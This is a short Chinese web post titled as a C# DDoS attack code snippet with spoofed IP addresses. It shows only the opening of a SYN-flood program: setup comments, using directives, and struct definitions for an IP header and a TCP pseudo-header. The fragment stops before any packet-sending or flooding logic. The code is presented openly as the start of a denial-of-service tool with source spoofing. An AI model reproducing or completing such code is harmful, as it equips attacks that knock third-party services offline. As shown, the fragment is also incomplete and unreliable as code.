C# DDOS攻击代码片段(伪IP)
1 //在工程属性中设置“允许不安全代码”为true
2
3 using System;
4 using System.Net;
5 using System.Net.Sockets;
6 using System.Threading;
7 //需要的命名空间不用解释了吧
8 namespace syn
9 {
10 public struct ipHeader
11 {
12
13
14
15 public byte ip_verlen; //4位首部长度+4位IP版本号
16 public byte ip_tos; //8位服务类型TOS
17 public ushort ip_totallength; //16位数据包总长度(字节)
18
19
20 public ushort ip_id; //16位标识
21 public ushort ip_offset; //3位标志位
22 public byte ip_ttl; //8位生存时间 TTL
23 public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
24 public ushort ip_checksum; //16位IP首部校验和
25 public uint ip_srcaddr; //32位源IP地址
26 public uint ip_destaddr; //32位目的IP地址
27 }
28 public struct psdHeader
29 {
30
31
32 public uint saddr; //源地址
33 public uint daddr; //目的地址
34
补充:软件开发 , C# ,